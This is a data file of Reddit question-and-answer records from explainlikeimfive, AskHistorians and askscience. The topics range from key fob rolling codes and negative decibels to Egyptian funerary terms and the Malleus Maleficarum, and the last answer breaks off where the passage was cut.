{"q_id": "1le9ki", "title": "why does my key fob only work for my car?", "selftext": "When I press \"unlock\" why does it only unlock my car? Why don't other cars react to my key fob? Are they all on different frequencies or what? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1le9ki/eli5_why_does_my_key_fob_only_work_for_my_car/", "answers": {"a_id": ["cbycfzy", "cbyd22b", "cbyd9cb", "cbydlz6", "cbye2cn", "cbye5nu", "cbyhhhp"], "score": [29, 5, 4, 14, 2, 4, 5], "text": ["the very first ones actually had a keypad on them, and you entered a code to unlock it remotely. these days, that's done on the inside. when you press the button, it sends a unique digital identification code through the radio frequency editor that's in there. you were pretty close.", "Its not a matter of frequency exactly,  its a code.  Think of pressing the unlock key like dialing your car's phone number.", "The others here are somewhat right. Most Remote Keyless Entry (key fobs) systems operate on the same radio frequency. For North American-made cars it is usually 315MHz. As for the reason why no other cars respond, it is due to multiple factors. Like Daemorth said, the fob sends out a unique ID that the car is programmed to listen to. Technically, multiple cars could be programmed to listen to the same unique ID and thus be opened by the same fob. Secondly, the \"data\" sent by the fob is encrypted. This means that the car has to know how to de-scramble the data to get the unique ID that the fob has sent. This also keeps thieves from just sitting in parking lots, listening to every key fob press and gaining those secret ID codes. ", "The system is not sending out an identification number because that's too easy to fake, it is not a requency thing because that's also easy to fake.\n\nThe system uses keys and a standardized key generator.  Both the sending and receiving stations have one of many, up to a million, keycodes in a table.  The stations are synced, IE put on the same code.  When you press a button, the system used the key to generate a large random number through the number formula, the receiving station uses the same key to generate a number using the same formula, the transmitter also sends a job code, to tell the car what to do.  If the security checks match, the job code is executed.\n\nif the transmitter is used while the receiver is out of range then the wrong code will be compared, which is why when a code is received and does not match the car will try a given number of the following codes, up to 256, to see if those match and resync from that point.  So if you try out of range more than 256 times it's possible the fob won't work anymore and the car will need to be sent in for service.\n\nThe reason the key goes through a cryptographic hash (the randomizing formula) is that we don't want a snooper to be able to detect a pattern and guess at the next codes.\n\nThe process is fairly more involved for the new types of fob that actually allow you to start a car.  There is attempt at authentication being done against the fob, as well as key sharing.", "Certain car manufacturers do it differently, but for the most part it works like this:\n\nWhen the key and the car are first synchronized, the car generates a list of 255 random strings or codes.  It exchanges this with the key.  Now, when you press the unlock button on your key, the key will emit a signal containing the first of the 255 random strings.  If the car is not nearby, and you press the unlock key again, it will emit the 2nd of the 255 random strings.  The key will continue to cycle through all of the codes each time the unlock button is pressed.\n\nNow on the car's side, it is continually waiting to receive a message on a certain frequency matching ANY of the 255 random strings that it had generated.  When the key is within range and the car gets unlocked, it then generates an entirely new set of random strings and updates the key with the new list as well.\n\nThese keys are usually quite long, which is why the \"random\" selection typically works.  There is a name for this type of cryptography, and I believe it is patented, but I forget the name.", "When you press the button, your key sends out what is known as a \"Rolling code\". This means every time you press that button, a different code is actually sent out. Every car will listen for an ID sent out by a key, but a car will only respond when it recognises the right type of code as produced by this rolling code algorithm. As mentioned below, it will only recognise it if both the key and the car has been told how this rolling code will be produced.\n\nIt is not easy to fake. I know this since I (on an impulse) injected a RFID microchip into my hand (encapsulated in a glass tube), and tried to  get my car to unlock to this. But their security was too good. So i modified my key with a simpler RFID reader to recognise my hand chip, and essentially press the button on my key to unlock my car. And it works great, I have never been locked out of my car since!\n\nSo I highly doubt that thieves has found a 'Master code\" so to say, but rather they have found a way to confuse a car with a ID code designed to manipulate the system to unlock and start the car.", "Ok, so I don't see the question answered yet, so I will take a stab. \n\nThe reason that your key fob doesn't open other cars is because the chip inside your fob and the receiver in your car are programmed using the same pseudo-random number generator. The keyless entry system works by transmitting a 40-bit code to the receiver in your car. If it receives the expected 40-bit code, the car will unlock. If not, it does nothing. Each time the key is pressed, it chooses the next number in the sequence. Each time the receiver receives a 40-bit code, it also chooses the next (since they are programmed using the same generator, they should, in theory, be picking the same 40-bit code) thus the fob and receiver are normally \"synced up\".\n\nObviously if you're pressing your fob while out of range of your receiver, the fob and receiver will be out of sync. To compensate, the receiver actually will accept any of the next 256 expected 40-bit codes, so you could \"accidentally\" press your fob 256 times while out of range and your car will still unlock on the 256th time. On the 257th time, you're fob and receiver will be out of sync and will need to be reprogrammed.\n\nEach receiver/fob combination that exists for every car out there has a uniquely programmed 40-bit random sequence generator so it would be extremely hard to circumvent this security and predict the next code, or even one of the next 256 due to the sheer number of possible combinations."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "8fkexv", "title": "In what ways is intellectual history different from the history of ideas?", "selftext": "Peter Gordon defines intellectual history as 'the study of intellectuals, ideas, and intellectual patterns over time'. He also defines the history of ideas as the study of 'large\\-scale concepts as they appear and transform over the course of history'. However I am very aware that such definitions may be rather subjective and was looking to see what others thoughts were on the matter, and if they had any nuances they may add to such definitions. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8fkexv/in_what_ways_is_intellectual_history_different/", "answers": {"a_id": ["dy4x8jb", "dy4y04r"], "score": [10, 3], "text": ["First off, I want to note that these sorts of demarcation problems only very rarely admit of anything like a generally acceptable solution. You can always find borderline cases and people willing to quibble over them. The best known example of this is probably defining what gets to count as art and what doesn't. Roger Ebert famously argued that video games weren't art, many people disagreed with him, that sort of thing. Another good example is science. Is astrology not science at all or just a really bad scientific theory that has been thoroughly falsified? Well, that depends on what characteristics you think something must have to qualify as science, which turns out to be pretty hard to spell out in sufficient detail.\n\nNow I mention all that just to say that getting a clear answer here that everyone will happily accept is probably just not a realistic goal. Therefore, the best practice is really just to be super clear about exactly what you understand by the relevant terms. In this sense, Gordon has done a fantastic job here; he knows that people might  understand these terms differently than he does, so he clearly and explicitly let's you know what sorts of things he means to pick out when he uses the terms.\n\nNow, something that does seem really plausible, to me at least, about the way he is carving up everything here is that he has defined the history of ideas as a subset of intellectual history. This seems right to me. Intellectual history ought to be the broader category, since the literal words seem to purport that more than just the ideas themselves will be at issue. History of ideas, by contrast, does seem naturally to fall into the category of intellectual history but to not be quite so broad.\n\nLet's take philosophy as an example. Actually, let's be even more specific and just take the early moderns. A history of ideas of the period would, of course, involve discussions of the relevant arguments and concepts at play. So, for example, considering the skeptical arguments of Descartes and Hume, the dispute about the nature and origins of ideas, shifting understandings of causation, that sort of thing.\n\nBut importantly, at least as I understand the terms (which I think is also how Gordon is understanding them), a history of ideas would not involve stuff like, say, the biographies of the thinkers, the establishment of prominent intellectual centers, or the impact of those ideas on the broader culture, etc. All that stuff would fall under intellectual history.\n\nA really interesting way of driving this home is the different ways that disciplines approach certain texts. If you take a class on St. Augustine's *Confessions* from a history department, you will talk about all sorts of stuff. The relationship of Augustine to his mother, broader Imperial society, Augustine's occasionally poignant reflections on his youth and those around him, etc. But if you were to study the exact same text in a history of philosophy class, none of that would come up, except maybe in passing. Instead, the entire focus would be on the arguments: What is the problem of evil, how does Augustine respond to it, is that response plausible both in the context of Augustine's philosophical system and if we disagree with that system does it fall apart, what the hell actually is Augustine's position on the nature of time, etc. You would touch on all this stuff in the history department course as well, but in a philosophy classroom it would be all that you talk about. I seriously took a course in grad school in a philosophy department where about half the class was on *Confessions* and Augustine's mother never once came up in lecture or discussion, despite the fact that she really hangs over the entire book. But that just wasn't the part of the text we were studying.\n\nWhat is going on here, I think, is that historians of philosophy tend to be zeroed in on history of ideas to the exclusion of everything else, whereas a history class tend to cast a wider net. Neither approach is better or worse in any objective sense, it is just that they are doing different things. \n\nAll of this was just a rather long winded way of saying that I don't take much issue at all with Gordon's way of cutting reality at the joints, as the saying goes. In fact, I rather agree with him. But that said, I've also heard people use \"intellectual history\" and \"history of ideas\" interchangeably before, especially in conversation. Which is also fine. The really super important thing is that, whenever you are using terms like these with no obvious definition, that you take the time to clearly define exactly how you are using them.", "Thank you so much for taking the time to reply! Really interesting to get your take on the matter, and this has definitely helped me get my head around both applying and understanding the use of such concepts :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "52tkab", "title": "the science behind munchies?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/52tkab/eli5_the_science_behind_munchies/", "answers": {"a_id": ["d7n64fe"], "score": [4], "text": ["A new study published today in Nature Neuroscience brings us a bit closer to solving the mystery. A team of European neuroscientists led by Giovanni Marsicano of the University of Bordeaux has found that, in mice, THC fits into receptors in the brain's olfactory bulb, significantly increasing the animals' ability to smell food and leading them to eat more of it. **A big part of the reason why you might eat more food after using marijuana, the research indicates, is simply that you can smell and taste it more acutely.**\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["www.smithsonianmag.com/science-nature/scientific-explanation-how-marijuana-causes-munchies-180949660/#HPKybtcHCEGq4uHQ.99"]]}
{"q_id": "1o0r1f", "title": "how can sound be a negative?", "selftext": "So I was just reading a wikipedia article about the worlds quietest room, and it stated that the Dba was around -9, So I was wondering how that would work, and how do we measure it?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1o0r1f/eli5_how_can_sound_be_a_negative/", "answers": {"a_id": ["ccnspn9", "ccntiuq", "ccnuhhu", "ccnwezl"], "score": [5, 2, 5, 2], "text": ["The dB is a relative measure - it compares the given sound to a certain amplitude of sound wave.  In the case of sound, that reference value is the rough threshold of human hearing. So 0dB is at that threshold - negative 10dB is 10x quieter than the quietest sound we can hear.\n\nHow you measure that value for a room, however, is beyond me.", "Decibels values are actually exponent values. You may have seen scientific notation like 1.4 x 10^2. the 2 value is what you are seeing in a decibel notation. 10^-4 is 0.0004 but rather than write down all the zeros they write just -4\nfor the decibel it is a little differently calculated but the principle is the same. See also _URL_0_", "sound can be measured in two different units. Sound intensity, an absolute value, is W/m^2 or power/area. decibels are a logarithmic value. the formula for decibles is 10log(I/T) where I = sound intensity in W/m^2 and T = the human threshold for hearing, the smallest sound we can hear, 10^-12 W/m^2 . \n\nLogarithms. log(x) is a function which gives you the power you need to apply to 10 to get x. log(10) is 1, log(100) is 2, and so on. If the value you put in the log is betwen 0 and 1, the result is negative.\n\nGoing back to db. the number you put inside log is the ratio between the sounds intensity and the threshold of hearing (a very small number) the only way to get this value to be between 0 and 1 is if the sounds intensity is smaller than the threshold of hearing.\n\nexample, 10log(10^-13 /10^-12 ) = -10\n\nConclusion: The sound's actual intensity wasn't negative, but since the sound was smaller than the human threshold for hearing, the dB value was negative.", "I've been in one of these silent rooms at Klipsch industries, where they develop all these surround sounds and stuff. The room was so quiet I could hear the blood flowing next to my ear drum. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Decibel"], [], []]}
{"q_id": "afxzr4", "title": "\"Weighing of the Heart\" in Ancient Egyptian", "selftext": "Hello all,\n\nHow do you say \"weighing of the heart\" in Ancient Egyptian? I've looked for the original expression, but I can't find anything. Also, where would you find a list or dictionary with all sorts of phrases in Ancient Egyptian, like for example, \"neb ta djeser\" for \"lord of the holy land\"?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/afxzr4/weighing_of_the_heart_in_ancient_egyptian/", "answers": {"a_id": ["ee2f8lm", "ee3e4bx"], "score": [2, 2], "text": ["As a heads up, this sort of question is great for the [Short Answers to Simple Questions](_URL_1_) thread. \n\n\"Weighing of the heart\" is a modern term for the practice depicted in Egyptian funerary papyri. The Egyptians preferred to reference the scale itself rather than the process of weighing. For example, spell 30B of the Book of the Dead instructs the heart not to testify against its owner in the presence of the keeper of the balance (Egyptian *iry-m\u1e2bAt*), i.e. Anubis. \n\n > O my heart of my mother! O my heart of my mother! O my heart of my different forms! Do not stand up as a witness against me, do not be opposed to me in the tribunal, and do not be hostile to me in the presence of the Keeper of the Balance, for you are my *ka* which was in my body, the protector who made my members healthy. Go forth to the happy place to which we speed, and do not make my name stink to the Entourage who make men. Do not tell lies about me in the present of the god. It is indeed well that you should hear!\n\n*Setne II*, which dates to the Greco-Roman period, references the weighing of good and bad deeds, not quite the same as the weighing of the heart. \n\n > They entered the seventh hall, and Setne saw the mysterious form of Osiris, the great god, seated on his throne of fine gold, crowned with the *atef*-crown. Anubis, the great god, was on his left, the great god Thoth was on his right, and the gods of the tribunal of the inhabitants of the netherworld stood on his left and right. The balance stood in the center before them, and they weighed the good deeds against the misdeeds, Thoth, the great god, writing, while Anubis gave the information to his colleague.\n\n > He who would be found to have more misdeeds than good deeds [is handed over] to the Devourer, who belongs to the lord of the netherworld. His *ba* is destroyed together with his body, and he is not allowed to breathe ever again.\n\n > He who would be found to have more good deeds than misdeeds is taken in among the gods of the tribunal of the lord of the netherworld, while his *ba* goes to the sky together with the august spirits.\n\n > He who would be found to have good deeds equal to his misdeeds is taken in among the excellent spirits who serve Sokar-Osiris.\n\nThe Egyptian word for heart is *ib*, and the typical verb for \"to weigh\" is *fAi*, which also has related meanings such as \"to carry/lift.\" One could therefore translate \"weighing of the heart\" into Egyptian as *fAt ib*, -t being the infinitival ending for third weak verbs. \n\nThe standard dictionary for those first learning Egyptian is Faulkner's [*A Concise Dictionary of Middle Egyptian*.](_URL_0_)\n\n\n\n", "The Egyptian language is split into 5 general phases; Old, Middle, Late, Demotix and Coptic. If you're looking for a simple way to roughly look up English to Egyptian phrases then Shenum's \"English-Egyptian Index of Faulkner's Concise Dictionary of Middle Egyptian\" is the place for you. The best general Ancient Egypian dictionary is \"Die W\u00f6rterbuch der \u00c4gyptischen Sprache\" an Egyptian to German dictionary with lots of useful bibliographic information. The best Old Egyptian dictionary is Rainer Hannig's \"\u00c4gyptsches W\u00f6rterbuch I.\" The best Middle Egyptian to English dictionary is William Faulkner's \"Concise Dictionary of Middle Egyptian\". The best Late Egyptian to English dictionary is Leonard Lesco's \"A Dictionary of Late Egyptian.\" The best Demotic Egyptian dictionary is Janet Johnson's \"The Demotic Dictionary of the Oriental Institute of the University of Chicago.\" The best Coptic dictionary is W. E. Crum's \"A Coptic Dictionary.\"\n\nAs for a translation of \"the weighing of the heart\" that's more difficult to provide. Something like fA.t ib or wdn Hr ib might equate to \"weighing of the heart\" but the phrase itself is never used (as far as I have seen in my readings of \"the Chapters of Coming Forth by Day\", the text which the \"Weighing of the Heart\" is detailed in). Instead, the vignet is called by the Egyptians \"The Chapter of not allowing to be repulsed from (owner's name) his heart in the netherworld.\"\n\nEdit: just noticed the previous answer which did not display initially when I looked at this post, but I hope this expansion of the subject helps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.com/books?id=xdtiAAAAMAAJ", "https://old.reddit.com/r/AskHistorians/comments/ae74kt/short_answers_to_simple_questions_january_09_2019/"], []]}
{"q_id": "26rocf", "title": "Assuming the Axis won WW2, how would've the territory been divided among the victors?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/26rocf/assuming_the_axis_won_ww2_how_wouldve_the/", "answers": {"a_id": ["chtv7vz"], "score": [3], "text": ["You may be interested in the section on [Axis Post-war Plans](_URL_0_) in our FAQ wiki."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/wiki/wwii#wiki_axis_alliance_and_post-war_plans"]]}
{"q_id": "eqh3vk", "title": "why are companies so keen on recruiting externally instead of promoting from within?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/eqh3vk/eli5_why_are_companies_so_keen_on_recruiting/", "answers": {"a_id": ["fervgoa", "fervnld", "ferz7hy", "ferzj7t", "fes08em", "feshha7", "fesjtlz", "fesk9dd", "fesmi0t", "fest5d9", "feswonf"], "score": [3, 4, 163, 14, 2, 2, 4, 2, 3, 2, 2], "text": ["Good at one job doesn't equate to good at another job of nominally more prestige. They're probably looking to get someone right for the new position without sacrificing anyone already right for their current position. \n\nOf course it all depends on the industry and the company culture. BS politics certainly can play a role. But there are logical reasons.", "It depends on a lot of things like where the company is at in terms of growth and location.  Hiring externally helps bring in new viewpoints that are sometimes not seen by those internationally.  Internal hires are generally more used to how things are done because that is what they are comfortable with.  External candidates will have experiences that are more relatable to future challenges because they have come from a place that has already delt with them and theoretically have a road map of how to navigate them.", "If you hire someone outside to fill a position, you plug a hole and everything is fine. \n\nIf you promote someone to fill a position, you plug a hole, but cause another to be opened, which can then repeat this process at a lower level, sometimes several times.\n\n\nIf you hire someone outside, you only have to negotiate with and train 1 person.\n\nIf you promote someone, you now have to negotiate with and train 2+ people.\n\nBasically, it is less work to hire externally on many people's parts, so they gravitate more towards hiring them.", "Any answer is bound to be a bit generalized. And every reason will have it's promoters and detractors. \n\nPromoting someone internally doesn't automatically make someone qualified enough to perform in the new role. First, there is a risk that the promotion \"doesn't work\" - now you have a situation where there is a gap to fill on top of someone not doing well in their new position. Second, looking outside allows a company to possibly hire someone with a proven record in the open position - less need to invest in training and possibly bringing some new ability to the organization as a whole.\n\nIn a rapidly growing company, hiring externally is also preferred sometimes. First, it possibly grows capability (mentioned earlier). Second many companies that started small hired for talent that may have been what the company needed then usually with a more generalist attitude and able to \"get things done\" possibly not in building systemic capability, specialized subject matter expertise or capable in management. As a company matures and grows, it typically needs more system oriented processes (consistent, scalable, appropriate checks/balances) and less outcome based processes (go for the diving catch, do what it takes) - all reasons to look outside.\n\nI have had many conversations mentoring young professionals (especially technical/functional) that \"management\" is a profession not simply career progression. I usually suggest that they think really hard about what it takes to switch professions - what they like about what they're doing now and what they will be facing as a manager. Money, responsibility, recognition and challenge are all reasons to aspire to management but it is not to their benefit to take on managerial responsibility and hate it from day one.", "Maybe they don't want to replace the good job you are currently doing. But I have wondered the same thing.", "I've experienced the complete opposite in my job hunt over the past couple of months.\n\nExtremely positive feedback but decided to go with an internal candidate", "There are advantage and disadvantages to both:\nIf you hire from the outside the person has to be trained up on the new company\u2019s way of doing things. The person also has outside perspective to look at something the new company does and say \u201cthat\u2019s stupid, we should do it differently\u201d. \n\nHiring from the inside allows someone to be slotted in faster, but often that person has been gunnel visioned into that company\u2019s way of doing things, so you don\u2019t know if there are better (or different) ways of doing thing.", "If you\u2019re good, like your job, and you want a raise, go work somewhere else for a year and then come back.", "There is the concept of promoting to failure. Basically you promote the best person in the subordinate job they may or may not be suited to the new job. People move up the corporate ladder until they hit the point they can no longer excel in their job. You end up people hitting their point of incompetence remaining in jobs when they would have input more to the business remaining at the lower level.", "Number of external applicants is greater. More choice\n\n\nNot all companies are like this though, as external recruitment can be an expensive and risky process.", "I\u2019ve seen this on many subs but what does bortaggen mean?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2uuyuv", "title": "Who owns the debt? McKinsey shows that debt increases.", "selftext": "_URL_0_\n\nHow can debt in itself increase? Who is providing this money? Is the debt an issue?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2uuyuv/who_owns_the_debt_mckinsey_shows_that_debt/", "answers": {"a_id": ["coc7raz"], "score": [4], "text": ["Debt increases whenever a new loan is originated. To simplify this from the global example, imagine two people in a closed economy who owe nothing to each other. There is zero debt in our hypothetical economy. If one of the two people wants to borrow money from the other, then she will owe the other one a debt until the amount is repaid. The lender loses cash now and the borrower gains the cash; the borrower also adds debt as a liability to her balance sheet. \n\nSo just like that, debt is created out of thin air whenever a new loan is made. Now, in terms of a global economy, loan providers mainly consist of central banks and private banks. Central banks can lend and borrow money by buying and selling bonds (depending on the country in question), which are just simple debt contracts. Private banks have more options to lend - car loans, home loans, student loans, etc. The money in this case basically originates from the country's printers at the end of the day. \n\nGlobal debt isn't good or bad in itself. The size of a debt can be an indicator of how much investment activity is occurring, for example. Some scenarios can cause debt to be a problem: massive deleveraging, for example, or an inability to repay. Greece has the latter case; the USA and all of Europe, a bit of the former. Inability to repay debts is caused by an excessively large amount compared to a nation's productivity and can cause the interest rate on their debt to spike. The nation faces two choices: inflate their currency to reduce the real size of the debt, or default on the debt and make their creditors angry. Greece is on the euro and can't inflate their way out of the problem. Massive system wide deleveraging, on the other hand, is caused when for some reason everyone wants to reduce their debts at once. In recent times this happened after a huge credit boom and subsequent bust in 2008. If everyone cuts back on their economic activity to try to pay down their debt, it can cause the actual value of that debt to increase even as it's being paid off because the nation may slip into deflation. \n\nNote that I'm talking about individual nations. We may at least partially be in a global deleveraging scenario now, although the research you linked suggests it's not a big one. But is the total amount of debt bad? Not really. It's just an accounting number. It's only bad when everyone agrees it's bad and you see interest rates spike across the world. Until such a thing happens, it's just a number. "]}, "title_urls": [], "selftext_urls": ["http://www.mckinsey.com/insights/economic_studies/debt_and_not_much_deleveraging"], "answers_urls": [[]]}
{"q_id": "2bcwz5", "title": "Is it possible to have a charged photon? Can any massless particle have a charge?", "selftext": "Why or why not? (what even causes charge?) ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2bcwz5/is_it_possible_to_have_a_charged_photon_can_any/", "answers": {"a_id": ["cj4jybd"], "score": [2], "text": ["Without diving too deeply into particle physics, there are only two massless particles known: the photon, and the gluon. They are both uncharged, and each mediate a fundamental force (photon - electromagnetic, gluon - strong nuclear). I believe that massless charged particles are ruled out by the Standard Model, thanks to the fact that if they existed, massive charged particles would spontaneously decay into them, and we don't observe that. \n\nAs to why that is, or what even causes charge, as far as I know it's just \"the way nature is.\"There may be some theorized explanations in m- or string- theory, but that's beyond my particular knowledge base. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "732wu0", "title": "How do labs ensure that the mice they test on don't suffer genetic problems from inbreeding through the supplier? Wouldn't genetically damaged mice invalidate research?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/732wu0/how_do_labs_ensure_that_the_mice_they_test_on/", "answers": {"a_id": ["dnnaxlj", "dnncqmn", "dnouppy"], "score": [13, 29, 5], "text": ["Scientific grade subjects aren't drawn from a random pool of bred mice, like you'd find in a pet store feed stock for a few bucks. They are specifically bred to have the traits needed for an experiment, and can cost hundreds of dollars each. They should be screened and consistent subjects, or you'd run into the issues you've thought of in your post. Nice catch, thinking of that!", "Lab mice are almost all 100% inbred already; it's impossible to inbreed them any further.  \n\nThe whole point about using (most strains of) lab mice is that they're genetically identical to each other.  If you have one male BALB/c mouse in your lab in Boston, it should be exactly the same (genetically) as the male BALB/c mouse in a lab in Japan, and in the lab in Jackson Harbor, Maine, and in Brazil and Germany.\n\nHow do you make sure that mice are genetically identical? You inbreed them until there's no more variation in them.  There's a Wikipedia article on [inbred strains of mice and rats](_URL_0_) which in turn links to methods of generating inbred genetically identical mice: [Backcrossing](_URL_2_), [line breeding](_URL_3_), and so on.\n\nDoes this mean that mice have genetic defects due to inbreeding? Sure. In some cases, those turn out to be useful for researching genetic defects. In other cases, they're just something researchers work around, or maybe ignore. But remember that \"defect\" is relative. A domestic cow that is optimal for a farmer has horrible genetic defects as a wild animal; an aurochs would have horrible genetic defects as a domestic cow.  Lab mice are kept in cages in temperature- and humidity-controlled environments all their life; \"defects\" have to be considered in that context.\n\nFinally, all of this is a little theoretical. Spontaneous mutations are common enough that, technically, no two mice are going to be genetically identical -- they'll have a dozen, or dozens of, unique mutations. [Epigenetic differences](_URL_1_) also affect them. \n\nBut as far as inbreeding is concerned, it's a feature, not a bug. ", "Mouse and rat strains are highly similar genetically, virtual clones. It is possible to deliberately induce mutations in the 'standard' animals and look for changes that approximate human disease. Those can be used as 'models' to explore the basis and treatment of the 'birth defect'."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Inbred_strain#Rats_and_mice", "https://epigeneticsandchromatin.biomedcentral.com/articles/10.1186/s13072-015-0047-z", "https://en.wikipedia.org/wiki/Backcrossing", "https://en.wikipedia.org/wiki/Inbreeding#Linebreeding"], []]}
{"q_id": "5iuhwp", "title": "how come the human eye can't focus or see underwater? would non soluble contact lenses be able to help us see underwater since it mimics goggles in a sense that there is a clear film / plastic over our eyes?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5iuhwp/eli5_how_come_the_human_eye_cant_focus_or_see/", "answers": {"a_id": ["dbb1xfu", "dbb3z1d"], "score": [12, 4], "text": ["The short answer is - [**they actually can!**](_URL_0_).\n\nSeeing underwater is not the **default** setting of our eyes- the lenses are curved to work with the *rare-dense* transition form air-to-watery-eye-lens occurring in the eye.\n\nThe curvature has to be different under the water where the transition is *dense-dense* water-to-watery-eye-lens.\n\n\nBut, as shown in the documentary - they eyes can adapt if trained (from an early age).", "In a nutshell it has to do with how light refracts between air and liquid boundaries. Life evolved under water and when animals came onto land and stayed there, their eyes had to adapt to the differences. Some of these differences are changes in color transmission, different refractive indexes, air interface rather than liquid, and damage from ultraviolet light. \n\nI've read that our eyes are still in the process of adapting to life on the land. It's mostly done at this point, but vertebrate eyes are kind of off kilter as it is with a development that  is almost inside out compared to eyes from invertebrates like squid and octopus. Land animals adapted their eyes from their aquatic origins including sensitivity to colors other than green and blue which are transmitted in water where red is absorbed, as well as changes to lens design, the aqueous humors that fill our eye, and blocking of UV light and protection of the pigments and cells in the eye from oxidative and environmental damage. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=YIKm3Pq9U8M"], []]}
{"q_id": "chtaue", "title": "who does close the doors when driver gets out of bus", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/chtaue/eli5_who_does_close_the_doors_when_driver_gets/", "answers": {"a_id": ["euxiri0", "euxl3m1", "ev50bdp"], "score": [8, 6, 2], "text": ["The driver does. There is a mechanism for opening and closing the doors from outside the bus, it\u2019s just not intended for and not advertised to the general public and may be secured.", "Different buses does this differently. The doors are usually pneumatic and can be pushed open or closed when there is no air supply. The driver can then lock the door shut using a padlock. Newer buses also tends to have a button to open and close the doors on the outside. This button is often hidden and/or locked. Another option on some buses is for the driver to exit through an emergency exit that uses more standard mechanical locks that can be operated from the outside. But in general bus companies is not worried about being able to secure their buses. Most buses are stored in a secure lot when not in use. And it is hard to make it worth stealing a bus as it is pretty hard to firstly get away from the police investigators and then sell it. And locks is not that useful when you have lots of breakable windows either. And in the rare case that a bus is stolen or vandalized the bus company will just replace it with a spare and send the repair bill to the insurance company. A lot more buses gets broken or misplaced by accident then as a result of not being properly locked.", "I can answer that since I've seen the bus drivers of my uni line open them.\n\nThere is a button and a keyhole under the bodywork (the part of the bus that points down, the horizontal part, floor) near the door, you press it and it opens."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "cbr4vy", "title": "why do people \"knock\" (not sure what to call it) glasses when they say cheers?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cbr4vy/elif_why_do_people_knock_not_sure_what_to_call_it/", "answers": {"a_id": ["ethlfzb", "ethln0j", "ethnoy4", "ethqgyx", "ethr1di", "etht5du", "etiogih"], "score": [85, 18, 4, 2, 9, 2, 2], "text": ["I've always been told it was an old norse tradition. That by clinking mugs together strongly enough, you'd mix your drinks with everyone else's and ensure that people trying to poison you would be poisoned too. Might be wrong.", "In the past, drinks were served all from the same vessel during parties and such. As personal hygiene became a thing people started drinking out of separate cups. Clinking the glasses together came about as an homage to the single vessel idea. Or at least that's what I've been told. I'm sure that there are many different origins to the practice.", "Doesn't the clinking of glasses provide a more complete sensory experience of a toast? People toast to high spirits, to a good time etc so the high pitched sound of glasses clinking might produce a pavlovian effect, especially with alcohol consumption and revelry to follow said clinking.", "Most people describe it as a \"clink\" or \"clinking\" because of the sound.\n\nI imagine this would be quite different if any material other than glass were used.", "In support of /u/LORDOFTHEDANCE7's answer, [this](_URL_0_) article tells the same history of bringing the communal container back together, symbolically. It also explains 'toast' added to cheap wine to make it more palatable.", "Pretty much, when 2 or more powerful people would sit down and eat, there was a fear of 1 poisoning the other, so they would clink the 2 cups/goblets together hard enough so that enough wine is splashes into the other cup. If the other ruler doesn't drink straight away, you know you might be poisoned.\nThis is what I heard at least.\n\nSome religions (including my own) don't allow this practice, and therefore don't clink the glasses (I'm not entirely sure why, but I can check a little later)", "My understanding of the origin of the tradition was that a guest fearful his or her host may try to poison him or her would pour some of his or her drink into the host\u2019s cup. If a guest wanted to show his or her host that he or she trusted the host did not poison his or her drink the guest would just clink glasses with the host instead."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://www.scienceabc.com/eyeopeners/why-do-people-clink-their-glasses-before-drinking-a-toast.html"], [], []]}
{"q_id": "7qb9p5", "title": "For centuries, the Malleus Maleficarum was second only to the Bible in sales. Who was buying it? Up to that time, the church appears to have been skeptical of claims of magic or witchcraft, and the author had been dismissed as senile and crazy; what led to its widespread acceptance and promulgation?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7qb9p5/for_centuries_the_malleus_maleficarum_was_second/", "answers": {"a_id": ["dsnzna6", "dso133e", "dso385y", "dso7fzu"], "score": [833, 85, 55, 38], "text": [" >  It is hardly disputed that in the whole vast literature of witchcraft, the most prominent, the most important, the most authoritative volume is the *Malleus Maleficarum (The Witch Hammer)* of Heinrich Kramer (Henricus Institoris) and James Sprenger. The date of the first edition of the *Malleus* cannot be fixed with absolute certainty, but the likeliest year is 1486. There were, at any rate, fourteen editions between 1487 and 1520, and at least sixteen editions between 1574 and 1669. These were issued from the leading German, French and Italian presses. The latest reprint of the original text of the *Malleus* is to be found in the noble four volume collection of Treatises on Witchcraft, \"sumptibus Claudii Bourgeat\", 4to., Lyons, 1669. There is a German translation by J. W. R. Schmidt, *Der Hexenhammer*, 3 vols, Berlin, 1906; second edition, 1922-3. There is also an English translation with Introduction, Bibliography, and Notes by Montague Summers, published John Rodker, 1928. 